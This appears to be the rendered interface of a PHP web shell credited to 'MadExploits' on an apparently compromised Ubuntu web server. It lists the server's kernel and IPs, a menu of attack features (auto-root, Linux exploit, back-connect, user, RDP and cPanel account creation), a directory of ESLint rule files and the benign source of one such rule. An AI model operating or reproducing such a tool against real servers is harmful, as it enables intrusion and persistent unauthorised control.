Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
eslint /
lib /
rules /
[ HOME SHELL ]
Name
Size
Permission
Action
utils
[ DIR ]
drwxr-xr-x
accessor-pairs.js
10.95
KB
-rw-r--r--
array-bracket-newline.js
7.93
KB
-rw-r--r--
array-bracket-spacing.js
7.88
KB
-rw-r--r--
array-callback-return.js
12.6
KB
-rw-r--r--
array-element-newline.js
8.86
KB
-rw-r--r--
arrow-body-style.js
10.12
KB
-rw-r--r--
arrow-parens.js
6.95
KB
-rw-r--r--
arrow-spacing.js
4.51
KB
-rw-r--r--
block-scoped-var.js
3.42
KB
-rw-r--r--
block-spacing.js
5.04
KB
-rw-r--r--
brace-style.js
7.41
KB
-rw-r--r--
callback-return.js
5.74
KB
-rw-r--r--
camelcase.js
10.12
KB
-rw-r--r--
capitalized-comments.js
9.07
KB
-rw-r--r--
class-methods-use-this.js
6.24
KB
-rw-r--r--
comma-dangle.js
11.38
KB
-rw-r--r--
comma-spacing.js
5.75
KB
-rw-r--r--
comma-style.js
10
KB
-rw-r--r--
complexity.js
4.89
KB
-rw-r--r--
computed-property-spacing.js
6.55
KB
-rw-r--r--
consistent-return.js
5.6
KB
-rw-r--r--
consistent-this.js
4.33
KB
-rw-r--r--
constructor-super.js
11.77
KB
-rw-r--r--
curly.js
11.48
KB
-rw-r--r--
default-case-last.js
1.08
KB
-rw-r--r--
default-case.js
2.26
KB
-rw-r--r--
default-param-last.js
1.65
KB
-rw-r--r--
dot-location.js
3.32
KB
-rw-r--r--
dot-notation.js
5.08
KB
-rw-r--r--
eol-last.js
3.48
KB
-rw-r--r--
eqeqeq.js
4.76
KB
-rw-r--r--
for-direction.js
4.11
KB
-rw-r--r--
func-call-spacing.js
8.1
KB
-rw-r--r--
func-name-matching.js
8.63
KB
-rw-r--r--
func-names.js
5.01
KB
-rw-r--r--
func-style.js
5.21
KB
-rw-r--r--
function-call-argument-newline...
4.12
KB
-rw-r--r--
function-paren-newline.js
9.96
KB
-rw-r--r--
generator-star-spacing.js
6.17
KB
-rw-r--r--
getter-return.js
5.62
KB
-rw-r--r--
global-require.js
2.78
KB
-rw-r--r--
grouped-accessor-pairs.js
7.08
KB
-rw-r--r--
guard-for-in.js
1.88
KB
-rw-r--r--
handle-callback-err.js
3.17
KB
-rw-r--r--
id-blacklist.js
6.54
KB
-rw-r--r--
id-denylist.js
6.21
KB
-rw-r--r--
id-length.js
5.48
KB
-rw-r--r--
id-match.js
8.99
KB
-rw-r--r--
implicit-arrow-linebreak.js
3.07
KB
-rw-r--r--
indent-legacy.js
34.88
KB
-rw-r--r--
indent.js
64.92
KB
-rw-r--r--
index.js
17.43
KB
-rw-r--r--
init-declarations.js
3.88
KB
-rw-r--r--
jsx-quotes.js
3.07
KB
-rw-r--r--
key-spacing.js
20.77
KB
-rw-r--r--
keyword-spacing.js
19.94
KB
-rw-r--r--
line-comment-position.js
3.65
KB
-rw-r--r--
linebreak-style.js
3.49
KB
-rw-r--r--
lines-around-comment.js
15.13
KB
-rw-r--r--
lines-around-directive.js
6.85
KB
-rw-r--r--
lines-between-class-members.js
9.89
KB
-rw-r--r--
logical-assignment-operators.j...
18.6
KB
-rw-r--r--
max-classes-per-file.js
1.81
KB
-rw-r--r--
max-depth.js
3.55
KB
-rw-r--r--
max-len.js
13.33
KB
-rw-r--r--
max-lines-per-function.js
5.91
KB
-rw-r--r--
max-lines.js
4.3
KB
-rw-r--r--
max-nested-callbacks.js
2.63
KB
-rw-r--r--
max-params.js
3
KB
-rw-r--r--
max-statements-per-line.js
6.58
KB
-rw-r--r--
max-statements.js
4.47
KB
-rw-r--r--
multiline-comment-style.js
17.96
KB
-rw-r--r--
multiline-ternary.js
6.39
KB
-rw-r--r--
new-cap.js
7.04
KB
-rw-r--r--
new-parens.js
3.09
KB
-rw-r--r--
newline-after-var.js
8.64
KB
-rw-r--r--
newline-before-return.js
6.96
KB
-rw-r--r--
newline-per-chained-call.js
3.79
KB
-rw-r--r--
no-alert.js
3.75
KB
-rw-r--r--
no-array-constructor.js
4.88
KB
-rw-r--r--
no-async-promise-executor.js
1007
B
-rw-r--r--
no-await-in-loop.js
2.44
KB
-rw-r--r--
no-bitwise.js
2.88
KB
-rw-r--r--
no-buffer-constructor.js
1.82
KB
-rw-r--r--
no-caller.js
1.06
KB
-rw-r--r--
no-case-declarations.js
1.82
KB
-rw-r--r--
no-catch-shadow.js
2.45
KB
-rw-r--r--
no-class-assign.js
1.53
KB
-rw-r--r--
no-compare-neg-zero.js
1.62
KB
-rw-r--r--
no-cond-assign.js
4.72
KB
-rw-r--r--
no-confusing-arrow.js
3.16
KB
-rw-r--r--
no-console.js
6.09
KB
-rw-r--r--
no-const-assign.js
1.8
KB
-rw-r--r--
no-constant-binary-expression....
17.72
KB
-rw-r--r--
no-constant-condition.js
4.36
KB
-rw-r--r--
no-constructor-return.js
1.16
KB
-rw-r--r--
no-continue.js
784
B
-rw-r--r--
no-control-regex.js
3.74
KB
-rw-r--r--
no-debugger.js
793
B
-rw-r--r--
no-delete-var.js
852
B
-rw-r--r--
no-div-regex.js
1.22
KB
-rw-r--r--
no-dupe-args.js
1.95
KB
-rw-r--r--
no-dupe-class-members.js
2.82
KB
-rw-r--r--
no-dupe-else-if.js
4.1
KB
-rw-r--r--
no-dupe-keys.js
3.87
KB
-rw-r--r--
no-duplicate-case.js
1.72
KB
-rw-r--r--
no-duplicate-imports.js
9.79
KB
-rw-r--r--
no-else-return.js
13.09
KB
-rw-r--r--
no-empty-character-class.js
1.89
KB
-rw-r--r--
no-empty-function.js
5.22
KB
-rw-r--r--
no-empty-pattern.js
1.8
KB
-rw-r--r--
no-empty-static-block.js
1007
B
-rw-r--r--
no-empty.js
2.39
KB
-rw-r--r--
no-eq-null.js
1.09
KB
-rw-r--r--
no-eval.js
7.34
KB
-rw-r--r--
no-ex-assign.js
1.27
KB
-rw-r--r--
no-extend-native.js
5.29
KB
-rw-r--r--
no-extra-bind.js
5.87
KB
-rw-r--r--
no-extra-boolean-cast.js
10.34
KB
-rw-r--r--
no-extra-label.js
4.17
KB
-rw-r--r--
no-extra-parens.js
42.57
KB
-rw-r--r--
no-extra-semi.js
4.52
KB
-rw-r--r--
no-fallthrough.js
6.8
KB
-rw-r--r--
no-floating-decimal.js
2.51
KB
-rw-r--r--
no-func-assign.js
1.82
KB
-rw-r--r--
no-global-assign.js
2.37
KB
-rw-r--r--
no-implicit-coercion.js
12.3
KB
-rw-r--r--
no-implicit-globals.js
4.52
KB
-rw-r--r--
no-implied-eval.js
4.24
KB
-rw-r--r--
no-import-assign.js
6.03
KB
-rw-r--r--
no-inline-comments.js
2.63
KB
-rw-r--r--
no-inner-declarations.js
3.15
KB
-rw-r--r--
no-invalid-regexp.js
5.82
KB
-rw-r--r--
no-invalid-this.js
4.38
KB
-rw-r--r--
no-irregular-whitespace.js
7.67
KB
-rw-r--r--
no-iterator.js
1.08
KB
-rw-r--r--
no-label-var.js
2.01
KB
-rw-r--r--
no-labels.js
3.29
KB
-rw-r--r--
no-lone-blocks.js
3.24
KB
-rw-r--r--
no-lonely-if.js
3.23
KB
-rw-r--r--
no-loop-func.js
6.87
KB
-rw-r--r--
no-loss-of-precision.js
6.91
KB
-rw-r--r--
no-magic-numbers.js
10.33
KB
-rw-r--r--
no-misleading-character-class....
15.96
KB
-rw-r--r--
no-mixed-operators.js
6.98
KB
-rw-r--r--
no-mixed-requires.js
6.23
KB
-rw-r--r--
no-mixed-spaces-and-tabs.js
3.3
KB
-rw-r--r--
no-multi-assign.js
1.3
KB
-rw-r--r--
no-multi-spaces.js
4.48
KB
-rw-r--r--
no-multi-str.js
1.57
KB
-rw-r--r--
no-multiple-empty-lines.js
5.45
KB
-rw-r--r--
no-native-reassign.js
2.7
KB
-rw-r--r--
no-negated-condition.js
2.37
KB
-rw-r--r--
no-negated-in-lhs.js
1.3
KB
-rw-r--r--
no-nested-ternary.js
960
B
-rw-r--r--
no-new-func.js
2.34
KB
-rw-r--r--
no-new-native-nonconstructor.j...
1.71
KB
-rw-r--r--
no-new-object.js
1.82
KB
-rw-r--r--
no-new-require.js
1.55
KB
-rw-r--r--
no-new-symbol.js
1.69
KB
-rw-r--r--
no-new-wrappers.js
1.43
KB
-rw-r--r--
no-new.js
905
B
-rw-r--r--
no-nonoctal-decimal-escape.js
4.46
KB
-rw-r--r--
no-obj-calls.js
2.41
KB
-rw-r--r--
no-object-constructor.js
2.85
KB
-rw-r--r--
no-octal-escape.js
1.15
KB
-rw-r--r--
no-octal.js
851
B
-rw-r--r--
no-param-reassign.js
6.21
KB
-rw-r--r--
no-path-concat.js
1.96
KB
-rw-r--r--
no-plusplus.js
2.61
KB
-rw-r--r--
no-process-env.js
1.6
KB
-rw-r--r--
no-process-exit.js
1.69
KB
-rw-r--r--
no-promise-executor-return.js
6.52
KB
-rw-r--r--
no-proto.js
1.07
KB
-rw-r--r--
no-prototype-builtins.js
4.61
KB
-rw-r--r--
no-redeclare.js
4.32
KB
-rw-r--r--
no-regex-spaces.js
5.15
KB
-rw-r--r--
no-restricted-exports.js
5.5
KB
-rw-r--r--
no-restricted-globals.js
3.72
KB
-rw-r--r--
no-restricted-imports.js
19.02
KB
-rw-r--r--
no-restricted-modules.js
5.98
KB
-rw-r--r--
no-restricted-properties.js
5.81
KB
-rw-r--r--
no-restricted-syntax.js
1.66
KB
-rw-r--r--
no-return-assign.js
2.21
KB
-rw-r--r--
no-return-await.js
4.35
KB
-rw-r--r--
no-script-url.js
1.48
KB
-rw-r--r--
no-self-assign.js
4.56
KB
-rw-r--r--
no-self-compare.js
1.67
KB
-rw-r--r--
no-sequences.js
3.92
KB
-rw-r--r--
no-setter-return.js
5.59
KB
-rw-r--r--
no-shadow-restricted-names.js
2.61
KB
-rw-r--r--
no-shadow.js
16.95
KB
-rw-r--r--
no-spaced-func.js
2.54
KB
-rw-r--r--
no-sparse-arrays.js
1.45
KB
-rw-r--r--
no-sync.js
1.84
KB
-rw-r--r--
no-tabs.js
2.39
KB
-rw-r--r--
no-template-curly-in-string.js
989
B
-rw-r--r--
no-ternary.js
785
B
-rw-r--r--
no-this-before-super.js
8.83
KB
-rw-r--r--
no-throw-literal.js
1.06
KB
-rw-r--r--
no-trailing-spaces.js
5.91
KB
-rw-r--r--
no-unassigned-vars.js
1.92
KB
-rw-r--r--
no-undef-init.js
2.35
KB
-rw-r--r--
no-undef.js
1.85
KB
-rw-r--r--
no-undefined.js
1.82
KB
-rw-r--r--
no-underscore-dangle.js
9.31
KB
-rw-r--r--
no-unexpected-multiline.js
3.4
KB
-rw-r--r--
no-unmodified-loop-condition.j...
9.8
KB
-rw-r--r--
no-unneeded-ternary.js
5.8
KB
-rw-r--r--
no-unreachable-loop.js
4.96
KB
-rw-r--r--
no-unreachable.js
7.32
KB
-rw-r--r--
no-unsafe-finally.js
3.26
KB
-rw-r--r--
no-unsafe-negation.js
3.88
KB
-rw-r--r--
no-unsafe-optional-chaining.js
5.26
KB
-rw-r--r--
no-unused-expressions.js
5.39
KB
-rw-r--r--
no-unused-labels.js
3.79
KB
-rw-r--r--
no-unused-private-class-member...
6.13
KB
-rw-r--r--
no-unused-vars.js
47.41
KB
-rw-r--r--
no-use-before-define.js
11.59
KB
-rw-r--r--
no-useless-assignment.js
18.88
KB
-rw-r--r--
no-useless-backreference.js
7.48
KB
-rw-r--r--
no-useless-call.js
2.71
KB
-rw-r--r--
no-useless-catch.js
1.28
KB
-rw-r--r--
no-useless-computed-key.js
5.8
KB
-rw-r--r--
no-useless-concat.js
2.9
KB
-rw-r--r--
no-useless-constructor.js
6.82
KB
-rw-r--r--
no-useless-escape.js
10.81
KB
-rw-r--r--
no-useless-rename.js
4.81
KB
-rw-r--r--
no-useless-return.js
11.67
KB
-rw-r--r--
no-var.js
11.19
KB
-rw-r--r--
no-void.js
1.33
KB
-rw-r--r--
no-warning-comments.js
5.54
KB
-rw-r--r--
no-whitespace-before-property....
3.79
KB
-rw-r--r--
no-with.js
757
B
-rw-r--r--
nonblock-statement-body-positi...
4.31
KB
-rw-r--r--
object-curly-newline.js
9.88
KB
-rw-r--r--
object-curly-spacing.js
10.16
KB
-rw-r--r--
object-property-newline.js
3.67
KB
-rw-r--r--
object-shorthand.js
17.59
KB
-rw-r--r--
one-var-declaration-per-line.j...
2.92
KB
-rw-r--r--
one-var.js
17.5
KB
-rw-r--r--
operator-assignment.js
7.36
KB
-rw-r--r--
operator-linebreak.js
8.69
KB
-rw-r--r--
padded-blocks.js
8.7
KB
-rw-r--r--
padding-line-between-statement...
16.59
KB
-rw-r--r--
prefer-arrow-callback.js
11.39
KB
-rw-r--r--
prefer-const.js
15.41
KB
-rw-r--r--
prefer-destructuring.js
8.72
KB
-rw-r--r--
prefer-exponentiation-operator...
6.57
KB
-rw-r--r--
prefer-named-capture-group.js
4.93
KB
-rw-r--r--
prefer-numeric-literals.js
4.4
KB
-rw-r--r--
prefer-object-has-own.js
3.71
KB
-rw-r--r--
prefer-object-spread.js
9.27
KB
-rw-r--r--
prefer-promise-reject-errors.j...
4.51
KB
-rw-r--r--
prefer-reflect.js
3.74
KB
-rw-r--r--
prefer-regex-literals.js
14.05
KB
-rw-r--r--
prefer-rest-params.js
2.96
KB
-rw-r--r--
prefer-spread.js
2.5
KB
-rw-r--r--
prefer-template.js
10.29
KB
-rw-r--r--
quote-props.js
9.89
KB
-rw-r--r--
quotes.js
10.68
KB
-rw-r--r--
radix.js
5.42
KB
-rw-r--r--
require-atomic-updates.js
9.08
KB
-rw-r--r--
require-await.js
4.46
KB
-rw-r--r--
require-unicode-regexp.js
7.57
KB
-rw-r--r--
require-yield.js
1.68
KB
-rw-r--r--
rest-spread-spacing.js
3.65
KB
-rw-r--r--
semi-spacing.js
7.21
KB
-rw-r--r--
semi-style.js
5.12
KB
-rw-r--r--
semi.js
13.01
KB
-rw-r--r--
sort-imports.js
8.4
KB
-rw-r--r--
sort-keys.js
5.74
KB
-rw-r--r--
sort-vars.js
3.24
KB
-rw-r--r--
space-before-blocks.js
6.18
KB
-rw-r--r--
space-before-function-paren.js
5.13
KB
-rw-r--r--
space-in-parens.js
9.1
KB
-rw-r--r--
space-infix-ops.js
5.75
KB
-rw-r--r--
space-unary-ops.js
10.39
KB
-rw-r--r--
spaced-comment.js
10.98
KB
-rw-r--r--
strict.js
8.91
KB
-rw-r--r--
switch-colon-spacing.js
4.59
KB
-rw-r--r--
symbol-description.js
1.66
KB
-rw-r--r--
template-curly-spacing.js
4.24
KB
-rw-r--r--
template-tag-spacing.js
2.99
KB
-rw-r--r--
unicode-bom.js
1.68
KB
-rw-r--r--
use-isnan.js
6.96
KB
-rw-r--r--
valid-typeof.js
4.16
KB
-rw-r--r--
vars-on-top.js
4.2
KB
-rw-r--r--
wrap-iife.js
6.75
KB
-rw-r--r--
wrap-regex.js
2.12
KB
-rw-r--r--
yield-star-spacing.js
3.9
KB
-rw-r--r--
yoda.js
9.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : generator-star-spacing.js
/** * @fileoverview Rule to check the spacing around the * in generator functions. * @author Jamund Ferguson * @deprecated in ESLint v8.53.0 */ "use strict"; //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ const OVERRIDE_SCHEMA = { oneOf: [ { enum: ["before", "after", "both", "neither"], }, { type: "object", properties: { before: { type: "boolean" }, after: { type: "boolean" }, }, additionalProperties: false, }, ], }; /** @type {import('../types').Rule.RuleModule} */ module.exports = { meta: { deprecated: { message: "Formatting rules are being moved out of ESLint core.", url: "https://eslint.org/blog/2023/10/deprecating-formatting-rules/", deprecatedSince: "8.53.0", availableUntil: "10.0.0", replacedBy: [ { message: "ESLint Stylistic now maintains deprecated stylistic core rules.", url: "https://eslint.style/guide/migration", plugin: { name: "@stylistic/eslint-plugin", url: "https://eslint.style", }, rule: { name: "generator-star-spacing", url: "https://eslint.style/rules/generator-star-spacing", }, }, ], }, type: "layout", docs: { description: "Enforce consistent spacing around `*` operators in generator functions", recommended: false, url: "https://eslint.org/docs/latest/rules/generator-star-spacing", }, fixable: "whitespace", schema: [ { oneOf: [ { enum: ["before", "after", "both", "neither"], }, { type: "object", properties: { before: { type: "boolean" }, after: { type: "boolean" }, named: OVERRIDE_SCHEMA, anonymous: OVERRIDE_SCHEMA, method: OVERRIDE_SCHEMA, }, additionalProperties: false, }, ], }, ], messages: { missingBefore: "Missing space before *.", missingAfter: "Missing space after *.", unexpectedBefore: "Unexpected space before *.", unexpectedAfter: "Unexpected space after *.", }, }, create(context) { const optionDefinitions = { before: { before: true, after: false }, after: { before: false, after: true }, both: { before: true, after: true }, neither: { before: false, after: false }, }; /** * Returns resolved option definitions based on an option and defaults * @param {any} option The option object or string value * @param {Object} defaults The defaults to use if options are not present * @returns {Object} the resolved object definition */ function optionToDefinition(option, defaults) { if (!option) { return defaults; } return typeof option === "string" ? optionDefinitions[option] : Object.assign({}, defaults, option); } const modes = (function (option) { const defaults = optionToDefinition( option, optionDefinitions.before, ); return { named: optionToDefinition(option.named, defaults), anonymous: optionToDefinition(option.anonymous, defaults), method: optionToDefinition(option.method, defaults), }; })(context.options[0] || {}); const sourceCode = context.sourceCode; /** * Checks if the given token is a star token or not. * @param {Token} token The token to check. * @returns {boolean} `true` if the token is a star token. */ function isStarToken(token) { return token.value === "*" && token.type === "Punctuator"; } /** * Gets the generator star token of the given function node. * @param {ASTNode} node The function node to get. * @returns {Token} Found star token. */ function getStarToken(node) { return sourceCode.getFirstToken( node.parent.method || node.parent.type === "MethodDefinition" ? node.parent : node, isStarToken, ); } /** * capitalize a given string. * @param {string} str the given string. * @returns {string} the capitalized string. */ function capitalize(str) { return str[0].toUpperCase() + str.slice(1); } /** * Checks the spacing between two tokens before or after the star token. * @param {string} kind Either "named", "anonymous", or "method" * @param {string} side Either "before" or "after". * @param {Token} leftToken `function` keyword token if side is "before", or * star token if side is "after". * @param {Token} rightToken Star token if side is "before", or identifier * token if side is "after". * @returns {void} */ function checkSpacing(kind, side, leftToken, rightToken) { if ( !!(rightToken.range[0] - leftToken.range[1]) !== modes[kind][side] ) { const after = leftToken.value === "*"; const spaceRequired = modes[kind][side]; const node = after ? leftToken : rightToken; const messageId = `${spaceRequired ? "missing" : "unexpected"}${capitalize(side)}`; context.report({ node, messageId, fix(fixer) { if (spaceRequired) { if (after) { return fixer.insertTextAfter(node, " "); } return fixer.insertTextBefore(node, " "); } return fixer.removeRange([ leftToken.range[1], rightToken.range[0], ]); }, }); } } /** * Enforces the spacing around the star if node is a generator function. * @param {ASTNode} node A function expression or declaration node. * @returns {void} */ function checkFunction(node) { if (!node.generator) { return; } const starToken = getStarToken(node); const prevToken = sourceCode.getTokenBefore(starToken); const nextToken = sourceCode.getTokenAfter(starToken); let kind = "named"; if ( node.parent.type === "MethodDefinition" || (node.parent.type === "Property" && node.parent.method) ) { kind = "method"; } else if (!node.id) { kind = "anonymous"; } // Only check before when preceded by `function`|`static` keyword if ( !( kind === "method" && starToken === sourceCode.getFirstToken(node.parent) ) ) { checkSpacing(kind, "before", prevToken, starToken); } checkSpacing(kind, "after", starToken, nextToken); } return { FunctionDeclaration: checkFunction, FunctionExpression: checkFunction, }; }, };
Close